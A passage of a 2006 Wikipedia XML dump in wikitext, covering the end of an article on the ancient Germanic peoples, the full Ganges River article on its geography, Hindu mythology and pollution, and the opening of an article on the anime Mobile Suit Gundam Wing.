*[[Saxneat]] &amp;mdash; [[Saxons]]
*[[Valagothus]] &amp;mdash; [[Valagoths]]

See also: [[List of Germanic peoples]].

==History==
=== Origin ===
[[Image:Nordic Bronze Age.PNG|right|200px|thumb|Map of the [[Nordic Bronze Age]] culture, ca [[1200 BC]]]]
Regarding the question of ethnic origins, evidence developed by both archaeologists and linguists suggests that a people or group of peoples sharing a common material culture dwelt in northern [[Germany]] and southern [[Scandinavia]] during the late European [[Bronze Age]] ([[1000 BC]]-[[500 BC]]). This culture group is called the [[Nordic Bronze Age]] and spread from southern Scandinavia into northern Germany. The long presence of Germanic tribes in southern Scandinavia (an [[Indo-European]] language had probably arrived by [[2000 BC]]) is also evidenced by the fact that no pre-Germanic place names have been found in this area. 

Linguists, working backwards from historically-known [[Germanic languages]], suggest that this group spoke [[proto-Germanic]], a distinct branch of the [[Indo-European]] language family. Cultural features at that time included small, independent settlements, and an economy strongly based on the keeping of livestock. 
[[Image:Pre-roman iron age (map).PNG|right|200px|thumb|Map of the [[Pre-Roman Iron Age]] culture(s) associated with [[Proto-Germanic]], ca [[500 BC]]-[[60 BC]]. The area south of Scandinavia is the [[Jastorf culture]]]]
The southward movement was probably influenced by a deteriorating climate in Scandinavia ca [[600 BC]] - ca [[300 BC]]. The warm and dry climate of southern Scandinavia (2-3 degrees warmer than today) deteriorated considerably, which not only dramatically changed the flora, but forced people to change their way of living and to leave settlements. 

At around this time, this culture discovered how to extract [[bog iron]] from the [[ore]] in [[peat bogs]]. Their technology for gaining [[iron ore]] from local sources may have helped them expand into new territories.

The Germanic culture grew to the southwest and southeast, without sudden breaks, and it can be distinguished from the culture of the [[Celts]] inhabiting the more southerly [[Danube]] and Alpine regions during the same period. 

The details of the expansion are known only generally, but it is clear that the forebears of the [[Goths]] were settled on the southern [[Baltic Sea|Baltic]] shore by [[100 AD]].  According to some scholars, along the lower and middle [[Rhine]], previous [[Nordwestblock|local inhabitants]] seem to have come under the leadership of Germanic figures from outside.

The early Germanic tribes spoke [[mutually intelligible]] dialects, and shared a common culture and [[mythology]] (see [[Germanic paganism|Germanic mythology]]), as is indicated by [[Beowulf]] and the [[Volsunga saga]]. One example of their shared identity is their common Germanic name for ''non''-Germanic peoples, ''*[[walha]]z'' (plural of *walhoz), from which the local names [[Wales|Welsh]], [[Valais|Wallis]], etc.  were derived. A second example of a recognized ethnic unity is the fact that the Romans knew them as one and gave them a common name, Germani, the source of our ''German'' and ''Germanic'' (see Etymology below).

In the absence of large-scale political unification, such as that imposed forcibly by the [[Ancient Rome|Romans]] upon the peoples of [[Italy]], the various tribes remained free, led by their own hereditary or chosen leaders.

=== Collision with Rome ===
By the late 2nd century, B.C., Roman authors recount [[Gaul]] (modern [[France]]), [[Italy]], and [[Iberian Peninsula|Iberia]] and [[Lusitania]] (modern [[Spain]] and [[Portugal]]) were invaded by migrating Germanic tribes, culminating in military conflict with the armies of the [[Roman Empire]]. Six decades later, [[Julius Caesar]] invoked the threat of such attacks as one justification for his annexation of Gaul to Rome. 
[[Image:Pre_Migration_Age_Germanic.png|thumb|300px|Map showing the distribution of the Germanic tribes in Proto-Germanic times, and stages of their expansion up to 50 BC, AD 100 and AD 300. The extent of the Roman Empire in 68 BC and AD 117 is also shown.]] 
As [[Rome]] expanded to the [[Rhine]] and [[Danube]] rivers, it incorporated many [[Celt]]ic societies into the Empire.  The tribal homelands to the north and east emerged collectively in the records as [[Germania]].  The peoples of this area were sometimes at war with Rome, but also engaged in complex and long-term trade relations, military alliances, and cultural exchanges with Rome as well.

The [[Cimbri]] and [[Teutoni]] incursions into Roman Italy were thrust back in 101 BC.  These invasions were written up by Caesar and others as presaging of a Northern danger for the Empire, a danger that should be controlled. In the Augustean period there was &amp;mdash; as a result of Roman activity as far as the Elbe River &amp;mdash; a first definition of the &quot;Germania magna&quot;: from Rhine and Danube in the West and South to the Vistula and the Baltic Sea in the East and North.

Caesar's wars helped establish the term Germania. The initial purpose of the Roman campaigns was to protect Transalpine Gaul by controlling the area between the Rhine and the Elbe. In 9 AD a revolt of their subject Germanics headed by [[Arminius]] (along with a decisive defeat of Quintilius [[Varus]] in the [[Battle of the Teutoburg Forest|Teutoburg Forest]]) ended in the withdrawal of the Roman frontier to the Rhine. At the end of the 1st century two provinces west of the Rhine called [[Germania inferior]] and [[Germania superior]] were established. Important medieval cities like [[Aachen]], [[Cologne]], [[Trier]], [[Mainz]], [[Worms]] and [[Speyer]] were part of these Roman provinces.

The ''[[Germania (book)|Germania]]'' by [[Gaius Cornelius Tacitus]], an [[ethnographic]] work on the diverse group of Germanic tribes outside of the Roman Empire, is our most important source on the Germanic peoples of the 1st century.

===Migration Period===
:''Main article: [[Migration Period]]''
[[Image:Karte völkerwanderung.jpg|thumb|300px|2nd to 5th century migrations.]]
During the [[5th century]], as the Roman Empire drew toward its end, numerous Germanic tribes, under pressure from invading Asian peoples and/or population growth and [[climate change]], began migrating en masse in far and diverse directions, taking them to [[England]] and as far south through present day [[Continental Europe]] to the [[Mediterranean]] and northern [[Africa]]. Over time, this wandering meant intrusions into other tribal territories, and the ensuing wars for land escalated with the dwindling amount of unoccupied territory. Wandering tribes then began staking out permanent homes as a means of protection. Much of this resulted in fixed settlements from which many, under a powerful leader, expanded outwards. A defeat meant either scattering or merging with the dominant tribe, and this continued to be how [[nation]]s were formed. In [[Denmark]] the [[Jutes]] merged with the [[Danes]], in [[Sweden]] the [[Geats]] merged with the [[Swedes]]. In England, for example, we now most often refer to the [[Anglo-Saxons]] rather than the two separate tribes.

=== Role in the Fall of Rome ===
Some of the Germanic tribes are frequently blamed in popular depictions of the [[fall of the Roman Empire]] in the late [[5th century]]. Professional [[historiography|historians]] and [[archaeology|archaeologists]] have since the [[1950s]] shifted their interpretations in such a way that the Germanic peoples are no longer seen as ''invading'' a decaying empire but as being ''co-opted'' into helping defend territory the central government could no longer adequately administer. Individuals and small groups from Germanic tribes had long been recruited from the territories beyond the ''[[limes]]'' (i.e., the regions just outside the Roman Empire), and some of them had risen high in the command structure of the army. Then the Empire recruited entire tribal groups under their native leaders as officers.  Assisting with defense eventually shifted into administration and then outright rule, as Roman of government passed into the hands of Germanic leaders. [[Odoacer]], who deposed [[Romulus Augustulus]], is the ultimate example. 

The presence of successor [[state]]s controlled by a [[nobility]] from one of the Germanic tribes is evident in the [[6th century]] - even in Italy, the former heart of the Empire, where [[Odoacer]] was followed by [[Theodoric the Great]], king of the [[Ostrogoths]], who was regarded by Roman citizens and Gothic settlers alike as legitimate successor to the rule of [[Rome]] and [[Italy]].

=== Conversion to Christianity ===
{{main|Germanic Christianity}}
The [[Ostrogoths]], [[Visigoths]], and [[Vandals]] were [[Christianized]] while they were still outside the bounds of the Empire; however, they converted to [[Arianism]] rather than to orthodox [[Catholicism]], and were soon regarded as [[heresy|heretics]]. The one great written remnant of the [[Gothic language]] is a translation of portions of the [[Bible]] made by [[Ulfilas]], the [[missionary]] who converted them. The [[Lombards]] were not converted until after their entrance into the Empire, but received Christianity from Arian Germanic groups.

The [[Franks]] were converted directly from [[paganism]] to [[Catholicism]] without an intervening time as Arians. Several centuries later, Anglo-Saxon and Frankish missionaries and warriors undertook the conversion of their [[Saxon people|Saxon]] neighbours. A key event was the felling of [[Thor's Oak]] near [[Fritzlar]] by [[Boniface]], apostle of the Germans, in [[723]]. Eventually, the conversion was forced by armed force, successfully completed by [[Charlemagne]], in a series of campaigns (the [[Saxon Wars]]), that also brought Saxon lands into the Frankish empire.

=== Assimilation ===
&quot;Germanic&quot; as understood today is a linguistic term. For this reason, not all peoples that largely descend from the ancient Germanic peoples, genetically, are Germanic speakers today. Germanic peoples were often quick to [[Assimilation (sociology)|assimilate]] into foreign cultures. Established examples include the Romanized [[Norsemen]] in [[Normandy]], and the societal elite in [[Kievan Rus'|medieval Russia]] among whom many were the descendants of Slavified Norsemen (a theory, however, contested by some Slavic scholars in the former Soviet Union, who name it the ''[[Normanist theory]]).''

[[Great Britain]] is similarly considered an example of assimilation, where elements of the Germanic tribes called the [[Angles]], [[Saxons]], and [[Jutes]] merged with [[Celts]] and [[Norman French|French-speaking]] Norsemen.

[[Scotland]] is historically a country of mixed Germanic and [[Celts|Celtic]] culture and settlement; while the [[Scottish Highlands]] and [[Galloway]] were until recently more Celtic and akin to Celtic [[Ireland]] in its culture and [[Scottish Gaelic]] language, the [[Scottish Lowlands]] share their culture and language closely with its neighbour to the south and other Germanic peoples, speaking the [[Scots language]]. The [[Orkney Islands]] and [[Shetland Islands]], though a part of Scotland, were historically [[Scandinavia]]n in culture, though they no longer speak their native language [[Norn language|Norn]] as an influx of [[Lallans]] speaking lowland Scots resulted in its displacement.

[[Ireland]] is also a country of mixed Germanic and Celtic culture, but for different reasons than Scotland. As with Scotland, Ireland had much [[Scandinavia]]n settlement, both in [[Viking]] and [[Anglo-Norman]] colonies. Through centuries of [[United Kingdom|British]] dominance, many parts of Ireland gradually developed a character that was more British than native Celtic, particularly in [[Ulster]] and [[Leinster]]. 

[[France]] saw a great deal of Germanic settlement, and even its namesake the [[Franks]] were a Germanic people. Entire regions of France (such as [[Alsace]], [[Burgundy]] and [[Normandy]]) were settled heavily by Germanic peoples, contributing to their unique regional cultures and [[dialect]]s.  But most of the languages spoken in France today are [[Romance languages]], while the people have a heavy [[Gallic]] substratum that predates Latin and Germanic settlement.

[[Portugal]] and [[Spain]] also had a great measure of Germanic settlement, due to the [[Visigoths]] and the [[Suevi]] ([[Quadi]] and [[Marcomanni]]), who settled permanently. The [[Vandals]] ([[Silingi]] and [[Hasdingi]]) were also present, before moving on to [[North Africa]], where they were absorbed into the local population. Many [[List_of_Spanish_words_of_Germanic_origin|words in Spanish]] come from their genetically decents and other Germanic tribes also.

[[Italy]], especially the area north of the city of [[Rome]], has also had a history of heavy Germanic settlement. Germanic tribes such as the [[Visigoths]], [[Vandals]], and [[Ostrogoths]] had successfully invaded and sparsely settled [[Italy]] in the 5th century AD. Most notably, in the 6th century AD, the Germanic tribe known as the [[Lombards]] entered and settled primarily in the area known today as [[Lombardy]]. The [[Normans]], a partially Germanic people, also conquered and ruled [[Sicily]] and parts of southern Italy for a time.

== See also ==
* [[Confederations of Germanic Tribes]]
* [[List of Germanic peoples]]
* [[Maratha Clan System]]

== Further reading ==
*Beck, Heinrich and Heiko Steuer and Dieter Timpe, eds. ''Die Germanen. Studienausgabe. Reallexikon der germanischen Altertumskunde.'' Berlin, New York: Walter de Gruyter 1998. Xi + 258 pp. ISBN 3-11-016383-7.

*Collins, Roger. ''Early medieval Europe. 300-1000.'' 2nd ed. Basingstoke: Macmillan 1999.  XXV + 533 pp. ISBN 0-333-65807-8.

*Geary, Patrick J. ''Before France and Germany. The creation and transformation of the Merovingian world.'' Oxford: Oxford University Press 1988. Xii + 259 pp.  ISBN 0-195-04458-4.

*Geary, Patrick J. ''The Myth of Nations. The Medieval Origins of Europe.'' Princeton: Princeton University Press 2002. X + 199 pp. ISBN 0-691-11481-1.

*Herrmann, Joachim. Griechische und lateinische Quellen zur Frühgeschichte Mitteleuropas bis zur Mitte des 1. Jahrtausends unserer Zeitrechnung. I. Von Homer bis Plutarch. 8. Jh. v. u. Z. bis 1. Jh. v. u. Z. II. Tacitus-Germania. III. Von Tacitus bis Ausonius. 2. bis 4. Jh. u. Z. IV. Von Ammianus Marcellinus bis Zosimos. 4. und 5. Jh. u. Z. Berlin: Akademie Verlag 1988 -1992. I: 657 pp. ISBN 3-05-000348-0. II: 291 pp. ISBN 3-05-000349-9. III: 723 pp. ISBN 3-05-000571-8. IV: 656 pp. ISBN 3-05-000591-2.

*Pohl, Walter. ''Die Germanen. Enzyklopädie deutscher Geschichte'' 57. München: Oldenbourg 2004. X + 156 pp. ISBN 3-486-56755-1.

*Pohl, Walter. ''Die Voelkerwanderung. Eroberung und Integration.'' Stuttgart: Kohlhammer 2002. 266 pp. ISBN 3-170-15566-0. Monograph, German.

* Todd, Malcolm. ''The Early Germans.'' Oxford:  Blackwell 2004. Xii + 266 pp. ISBN 0-631-16397-2.

*Wolfram, Herwig. ''History of the Goths.'' Berkeley: University of California Press 1988. Xii + 613 pp. ISBN 0-520-6983-8.

*Wolfram, Herwig. ''The Roman Empire and its Germanic peoples.'' Berkeley: University of California Press 1997. XX + 361 pp. ISBN 0-520-08511-6.

==External links==
*[http://www.bbc.co.uk/history/programmes/bloodofthevikings/genetics_results_01.shtml Germanic Roots of Great Britain], A Genetic Study 
*[http://www.geocities.com/reginheim/countries.html Present Day Germanic Distribution]



[[Category:Ancient Roman enemies and allies]]
[[Category:Ancient peoples]]
[[Category:Ancient Germanic peoples]]
[[Category:Germanic paganism]]
[[Category:History of the Germanic peoples]]
[[Category:Migration Period]]
[[Category:Ethnic groups in Europe]]
[[es:Pueblo germano]]
[[bg:Германи]]
[[cs:Germáni]]
[[de:Germanen]]
[[et:Germaanlased]]
[[eo:Ĝermanoj]]
[[fr:Peuples germaniques]]
[[ko:게르만족]]
[[hr:Germani]]
[[it:Germani]]
[[he:שבטים גרמאנים]]
[[lt:Germanai]]
[[nl:Germanen]]
[[ja:ゲルマン人]]
[[pl:Germanie]]
[[pt:Germanos]]
[[ru:Германцы]]
[[sl:Germani]]
[[fi:Germaanit]]
[[sv:Germaner]]
[[zh:日爾曼人]]</text>
    </revision>
  </page>
  <page>
    <title>Ganges River</title>
    <id>12448</id>
    <revision>
      <id>41903092</id>
      <timestamp>2006-03-02T14:21:29Z</timestamp>
      <contributor>
        <username>Seemagoel</username>
        <id>348377</id>
      </contributor>
      <comment>Adding text from www.exoticindiaart.com, written by Sri Nitin Kumar, released to Wikipedia with permission</comment>
      <text xml:space="preserve">{{redirect|Ganga}}
{{Infobox_river | river_name = Ganges (Ganga)
  | image_name = River Ganges and tributaries.png
  | caption = Labelled satellite image of Ganges, [[Himalayas]]
  | origin = [[Gangotri Glacier]]
  | mouth = [[Bay of Bengal]]
  | basin_countries = [[India]], [[Bangladesh]]
  | length = 2,510 km (1,560 mi)
  | elevation = 7,756 m
  | discharge = 14,270 m&amp;sup3;/s (275,496 ft&amp;sup3;/s)
  | watershed = 907,000 km&amp;sup2; (354,300 mi&amp;sup2;)
}}

The '''Ganges River''' ('''Ganga''' in Indian languages; ''Ganges'' is the Latin form) ([[Devanagari]] &amp;#2327;&amp;#2306;&amp;#2327;&amp;#2366;) is the major [[river]] in northern [[India]] and [[Bangladesh]]. The river has a long history of reverence in India and is often called the 'holy Ganga'. It originates as the [[Bhagirathi]] from the [[Gangotri Glacier]] in the [[Uttaranchal]] [[Himalaya|Himalayas]] and joins the [[Alaknanda]] near Deoprayag to form the Ganga. Then on, the Ganga flows across the large plains of North India (called the [[Gangetic Plains]]) and empties into the [[Bay of Bengal]] after dividing up into many [[distributary|distributaries]]. One of them is the [[Hoogli River]] near [[Kolkata]], another major distributary being the [[Padma River]] that enters [[Bangladesh]] and merges with [[Jamuna River]], a branch of the [[Brahmaputra River]].
[[Image:Ganges River Delta, Bangladesh, India.jpg|thumb|left|Ganges [[river delta]], Bangladesh and India]]
The total length of the river is about 2,510 km (1,560 mi). One of the densest human population belts on earth is built around the Ganga. 

The region encompassing the [[river delta|delta]] near the Bay of Bengal [[coast]] is known as [[The Sundarbans]] (''Beautiful Forests'') &amp;mdash; a region of thick [[mangrove]] [[forest]]s, and one of the major [[habitat (ecology)|habitats]] of the [[tiger|Royal Bengal tiger]].

The Ganges Basin is incredibly fertile and, at present, about one in every 12 people in the world (8.5%) live in its catchment area. However, due to this incredible concentration of population, pollution and destruction of habitats is increasing at an alarming rate in the region.

The [[Yamuna River]] &amp;mdash; a major river in its own right, and nearly as sacred &amp;mdash; is a [[tributary]] of the Ganga, and their confluence is near what is the site of the traditional holy [[Hindu]] city of [[Prayag]], now known as [[Allahabad]]. 

Two [[species]] of [[dolphin]] can be found in the Ganges, the [[Ganges River Dolphin]] and the [[Irrawaddy Dolphin]]. The Ganges is also notable in that it contains a rare species of [[River_shark|freshwater shark]], [[Glyphis gangeticus]] about which little is known.

==The Ganga in Hinduism==
[[Image:Ganga Mahabalipuram.jpg|thumb|230px|right|&quot;Descent of the Ganga&quot;, Relief at [[Mahabalipuram]] ]]


The Ganga is personified in [[Hinduism]] as a [[goddess]]: Maa Ganga (Mother Ganga). Hindu legend makes her the foster-mother of [[Karttikeya]], who was actually a son of [[Shiva]] and [[Parvati]]

Several places sacred to Hindus lie along the banks of the river Ganga, including [[Haridwar]] and [[Varanasi]]. It is believed that taking a dip in the river will wash away one's [[sin]]s, and that having [[cremation|one's ashes disposed]] of in the Ganga after [[death]] may improve one's [[reincarnation|next life]] or even allow [[Moksha]] to be attained sooner. Devout Hindus make [[pilgrimage]]s to [[bath]]e in the Ganga and to [[meditate]] on its banks.

According to [[mythological]] legend, [[Brahma (god)|Brahma]] collected the sweat of [[Vishnu]]'s feet and created Ganga. Being touched by two members of the [[Trimurti]], Ganga became very holy . 

[[Image:Early morning on the Ganges.jpg|thumb|230px|left|Early morning on the Ganges]] 

Several years later, a [[Monarch|king]] named Sagara magically acquired sixty thousand sons. One day, King Sagara performed a [[ritual]] of [[worship]] for the good of the [[monarchy|kingdom]]. One of the integral parts of the ritual was a [[horse]], which was stolen by the jealous [[Indra]]. Sagara sent all his sons all over the [[earth]] to search for the horse. They found it in the nether-world (or [[Underworld]]) next to a penitent sage [[Kapila]]. Believing that the sage had stolen the horse, they hurled insults at him and caused his penance to be disturbed. The sage opened his eyes for the first time in several years, and looked at the sons of Sagara. With this glance, all sixty thousand were burnt to death.
The [[soul]]s of the sons of Sagara wandered as [[ghost]]s since their final rites had not been performed. When [[Bhagiratha]], one of the descendants of Sagara, son of Dilip, learnt of this fate, he vowed to bring Ganga down to Earth so that her waters could cleanse their souls and release them to heaven.
[[Image:Mahakumbh.jpg|thumb|225 px|The largest religious gathering on Earth. Around 70 million [[Hindus]] from around the world participated in [[Kumbh Mela]] at one of the Hindu Holy city [[Prayaga]] (also known as Allahabad) on the banks of river Ganga.]]

Bhagiratha prayed to Brahma that Ganga come down to Earth. Brahma agreed, and he ordered Ganga to go down to the Earth and then on to the nether regions so that the souls of Bhagiratha's ancestors would be able to go to [[heaven]]. The vain Ganga felt that this was insulting and decided to sweep the whole earth away as she fell from the heavens. Alarmed, Bhagiratha prayed to [[Shiva]] that he break up Ganga's descent.

Ganga arrogantly fell on Shiva's head. But Shiva calmly trapped her in his hair and let her out in small streams. The touch of Shiva further sanctified Ganga. As Ganga travelled to the nether-worlds, she created a different stream to remain on Earth to help purify unfortunate souls there.

Because of Bhagiratha's efforts Ganga descended on to earth and hence the river is also known as Bhagirathi, and the term &quot;Bhagirath prayatna&quot; is used to describe valiant efforts or difficult achievements.

Another name that Ganga is known by is Jahnavi. Story has it that once Ganga came down to earth, on her way to Bhagiratha, her rushing waters created turbulence and destroyed the fields and the [[sadhana]] of a sage called [[Rishi Jahnu|Jahnu]]. He was angered by this and drank up all of Ganga's waters. Upon this, the Gods prayed to Jahnu to release Ganga so that she could proceed on her mission. Pleased with their prayers, Jahnu released Ganga (her waters) from his ears. Hence the name &quot;Jahnavi&quot; (daughter of Jahnu) for Ganga.

It is sometime believed that the river will finally dry up at the end of Kali Yug (the era of darkness, the current era) just as with river [[Saraswati]], and this era will end. Next in (cyclic) order will be the SatYug or the era of Truth.

==Iconography of Ganga the Goddess==

In the cannons of [[Indian art]], Ganga is visualized as voluptuous and beautiful, carrying an overflowing pot in her hand. The vessel conveys the idea of abundant life and fertility, which nourishes and sustains the universe.

The second distinguishing aspect of Ganga's iconography is her animal mount, which is often shown serving as a pedestal for her. This is the [[makara]], a hybrid creature having the body of a crocodile and the tail of a fish. The makara in [[Hindu]] thought corresponds to the star sign of [[Capricorn]] in western astrology.

The makara is also the vehicle of the [[Vedic]] god of waters, [[Varuna]], thus establishing firmly Goddess Ganga's Vedic roots.

==Recent Pollution==

The Ganges collects large amounts of human [[pollution|pollutants]] as it flows through highly populous areas. These populous areas, and other people down stream, are then exposed to these potentially hazardous accumulations.  While proposals have been made for remediating this condition so far no great progress has been achieved.  The Ganga remains an economically important waterway and polluting it remains economically advantageous[[Image:Ganges_ceremony.jpg|thumb|230px|right|People performing Hindu ceremony in [[Varanasi]].]]
The major [[pollution|polluting]] [[industries]] on the [[Ganges River]] are the [[leather]] industries, especially near [[Kanpur]], which use large amounts of [[chromium]] and other [[chemical]]s, and much of it finds its way into the meager flow of the Ganga. Unfortunately, this is a boom time for leather processing in [[India]], which many view as a form of eco-environmental dumping on the third world, and with the lax and lubricable implementation systems of the [[Uttar Pradesh]] government, it does not seem likely that this will go down. The world bank report 1992, which focussed on the environmental issues, mentions the dissolved-oxygen and riverborne decomposing material at two points on the Ganga. 

However, industry is not the only source of pollution. Sheer volume of waste &amp;mdash; estimated at nearly 1 billion litres per day - of mostly untreated raw [[sewage]] &amp;mdash; is a significant factor. Also, inadequate cremation procedures contributes to a large number of partially burnt or unburnt corpses floating down the Ganga, in addition to [[livestock]] corpses. 

The Ganga Action Plan has been set up under the Indian Government bureaucracy, and is attempting to build a number of waste treatment facilities, under [[Netherlands|Dutch]] and [[United Kingdom|British]] support, and to collaborate with a number of voluntary organizations. Surprisingly, the [[Hindu]] political parties in India are not very active in the efforts to clean up the Ganga, and it is not very high in the general religious agenda. India's government has already spent over $33 million to address the overwhelming sewage problem.  However, things are looking better at the beginning of 2006, as satellite images show increased water clarity in the river.

==Ganges Canal==
Ganges Canal was dug from [[Haridwar]] to [[Kanpur]] in later half of 19th century and a very wide network of small tributary canals were constructed from the main canal to act as source of irrigation in the fertile plains of Western [[Uttar Pradesh]].  [[University_of_Roorkee|University of Roorkee]] was established at [[Roorkee]] to train Civil Engineers who could oversee the construction of this canal. This canal is still supplying water to thousands of villages in western uttar pradesh and water of Ganga, flowing in this canal, is in true sense the life line of western [[Uttar Pradesh]] an area which played a central role in the [[Green revolution]] of India and water of Ganga played a vital role in this endeavor.

==References==
*Alley, Kelly D. On the Banks of the Ganga: When Wastewater Meets a Sacred River, University of Michigan press (2002) [ISBN 0-472-06808-3]
* Darian, Steven G.,''The Ganges in Myth and History'', The University Press of Hawaii, Honolulu (1978) [ISBN 0824805097]
* Newby, Eric, ''Slowly down the Ganges'', Lonely Planet Publications (1998) [ISBN 0864426313]
* [http://www.exoticindiaart.com/article/ganga Ganga The River Goddess - Tales in Art and Mythology], by Sri Nitin Kumar.
* Stephen Alter, ''Sacred Waters: A Pilgrimage up the Ganges River to the Source of Hindu Culture. Harcourt; 1 Us ed edition (October 17, 2001). ISBN 0151005850 ''

==External links==
* [http://www.atmajyoti.org/vi_india_videos.asp Ganga Arati Video] Quicktime streaming video of worship of the Ganges in Hardwar (15 minutes)

==See also==
{{Commons|Category:Ganges River}}
* [[Ganges Delta]]
* [[Ganges Fan]]
* [[Ganga Basin]]

[[Category:Geography of India]]
[[Category:Rivers of India]]
[[Category:Hindu pilgrimage sites]]

[[ang:Gandis]]
[[ar:نهر الغانج]]
[[bg:Ганг]]
[[ca:Ganges]]
[[cs:Ganga]]
[[da:Ganges]]
[[de:Ganges]]
[[et:Ganges]]
[[es:Ganges]]
[[eo:Gango]]
[[fr:Gange]]
[[gu:ગંગા]]
[[ko:갠지스 강]]
[[hi:गंगा]]
[[it:Gange]]
[[he:גנגס]]
[[mr:गंगा]]
[[nl:Ganges (rivier)]]
[[ja:ガンジス川]]
[[no:Ganges]]
[[pl:Ganges]]
[[pt:Rio Ganges]]
[[ru:Ганг (река)]]
[[sa:गङ्गा]]
[[fi:Ganges]]
[[sv:Ganges]]
[[ta:கங்கை ஆறு]]
[[uk:Ганг]]
[[zh:恒河]]</text>
    </revision>
  </page>
  <page>
    <title>Mobile Suit Gundam Wing</title>
    <id>12449</id>
    <revision>
      <id>42012882</id>
      <timestamp>2006-03-03T05:26:40Z</timestamp>
      <contributor>
        <ip>130.215.234.118</ip>
      </contributor>
      <comment>/* Characters */  Removed useless nonsense</comment>
      <text xml:space="preserve">{{Infobox animanga/Header|
 |title_name=Mobile Suit Gundam Wing
 |image=Gundamw.jpg
 |caption=Gundam Wing title screen
 |ja_name=新機動戦記ガンダムＷ
 |ja_name_trans=New Mobile Report Gundam W
 |genre=[[Mecha]], [[Action movie|Action]], [[Science Fiction]]
}}
{{Infobox animanga/Anime|
 |title=
 |director=[[Masashi Ikeda]]
 |studio=[[Sunrise (company)|Sunrise]]
 |network=[[TV Asahi]]
 |first_aired=[[April 7]], [[1995]]
 |last_aired=[[March 29]], [[1996]]
 |num_episodes=49
}}
{{Infobox animanga/OVA|
 |title=Gundam Wing: Operation Meteor
 |director=[[Masashi Ikeda]]
 |studio=[[Sunrise (company)|Sunrise]]
 |num_episodes=2
 |release_dates=[[April 25]], [[1996]] &amp; [[October 10]], [[1996]] 
}}
{{Infobox animanga/Other|
 title=OVA/Movie
|content=&lt;nowiki&gt;&lt;/nowiki&gt;
*[[Gundam Wing - Endless Waltz]] (1997)
}}
{{Infobox animanga/Footer}}

'''''Mobile Suit Gundam Wing''''', known in [[Japan]] as '''''New Mobile Report Gundam W'''''&lt;sup&gt;1&lt;/sup&gt; (also known as 新機動戦記ガンダムW ''shin kidō senki gandamu wing'' in [[Japanese language|Japanese]]), is a televised [[Anime]] series, which ran for forty-nine episodes beginning in 1995. Initially directed by Masashi Ikeda and written by Katsuyuki Sumizawa (''[[Ronin Warriors]]''), the series was loosely based on the original [[1979]] [[Gundam]] series, ''[[Mobile Suit Gundam]]'', created by [[Yoshiyuki Tomino]] and [[Hajime Yatate]]. 

''Gundam Wing'' is one of the alternate universe ''Gundam'' series, taking place in the [[After Colony]] timeline.  Man has colonized space (with major colonies at each of the five [[Sun]]-[[Earth]] [[Lagrangian point|Lagrange points]]), and, down on the earth, the nations have united as the Unified Earth Sphere Alliance.   Unfortunately, the Alliance rules the colonies with an iron fist.  The colonies wanted peaceful resolution to the situation, and this movement was headed by [[Heero Yuy]], but when he is assassinated in the year After Colony 175, the colonies turned to other means.

The year is After Colony 195, and Operation Meteor has been put into affect.  Five young boys have been chosen and trained by the scientists, sent to Earth in extremely advanced [[Mobile Suits]] known as &quot;Gundams&quot; because they are constructed from astonishingly durable Gundanium alloy.  Gundam Wing centers around these five.

The naming scheme for the series is based on a numerical system. Each character's name is typically derived from the word for a number in various languages (&quot;Heero&quot; means &quot;one&quot;, &quot;Duo&quot; means &quot;two&quot;, etc). It is based largely on the French counting system. (Quatre, Treize, Une, etc.) Also, naming of OZ mobile suits were based on the Zodiac (with the exception of the ''Tragos'' mobile suit, who's name is derived from ''Capricorn'' rather than simply stated as such) as exemplified by ''Leo, Aries, Cancer'', etc.

Due to the popularity of the series, two OVAs, compiling various scenes from the series along with a few minutes of new footage, were released in 1996 as ''Gundam Wing: Operation Meteor'' I and II. A brand new, three-volume OVA series, ''[[Gundam Wing: Endless Waltz]]'' was made in 1997 as a sequel to the TV series and closes out the After Colony saga. A year later, 1998, a movie version of the OVA series was made, with new footage and a different ending (Last Impression).



[[Manga]] [[Side story|sidestories]] have also been produced.  A prequel detailing the events leading up to the launch of the Gundams to Earth, is ''[[Gundam Wing: Episode Zero|Episode Zero]]''. Several sequel manga, occurring between ''Gundam Wing'' and ''Endless Waltz'' have been written, titled, ''[[Gundam Wing: Blind Target]]'', ''[[Gundam Wing: Ground Zero]]'',and ''[[Gundam Wing: Battlefield of Pacifists|Battlefield of Pacifists]]''. A coincident storyline is presented in ''[[Gundam W G-Unit: Last Outpost|Last Outpost (G-Unit)]]''.  The ''Gundam Wing, Battlefield of Pacifists'', and ''Endless Waltz'' manga series are published in [[English language|English]] by [[TOKYOPOP]], while ''Blind Target'', ''Ground Zero'', and ''Episode Zero'' are published by [[Viz Communications]].

''Gundam Wing'' had a run on [[Cartoon Network]]'s [[Toonami]] where it was broadcasted as an edited version in the daytime and an uncut version at night. (ex: blood is edited and the word 'kill' is replaced by the word destroy). Also Duo's nickname the ''God of Death'' was edited to the ''Great Destroyer'' (which also included altering two episode titles). 

Some traditional fans of Gundam, largely military sci-fi fans, were less pleased with the show, citing poorly perceived battle sequences and shoddy philosophy.

In 1996, a fighting game called [[Gundam Wing: Endless Duel]] was released for the Super Famicom in Japan. The game was never released in the United States or Europe, but enjoys widespread popularity thanks to the [[emulation]] of older video games.

&lt;sup&gt;1&lt;/sup&gt; The translation '''''New Mobile Report Gundam W''''' is used by the R2 DVD releases in Japan, and thus is used extensively by the English-language fanbase in order to differentiate it from the [[Universal Century]] ''Gundam'' series. While the use of the term &quot;report&quot; in the title is not necessarily incorrect, it does not convey the full meaning of the original-language terminology. The Japanese word senki (戦記) has a specific meaning of &quot;military history.&quot; Some official translations in the past have used the translation '''''New Mobile War Chronicle Gundam Wing''''' as well, and some of the official art uses '''''The New Mobile History Gundam Wing''''', and at least one Japanese book has used '''''Mobile Suit Gundam Wing'''''.

{{spoiler}}

==Characters==
{{mergeto|After Colony list of characters}}
The ''[[Gundam Wing]]'' characters include the [[Gundam]] pilots and many other side characters all of which have names which mean a number in some other language. 

For information on the organizations mentioned here, and others seen in Gundam Wing, see [[After Colony Nations and Factions]]

===Gundam Pilots===
[[Image:Gundam_wing.jpg|thumb|right|The five main characters and their Gundams.]]

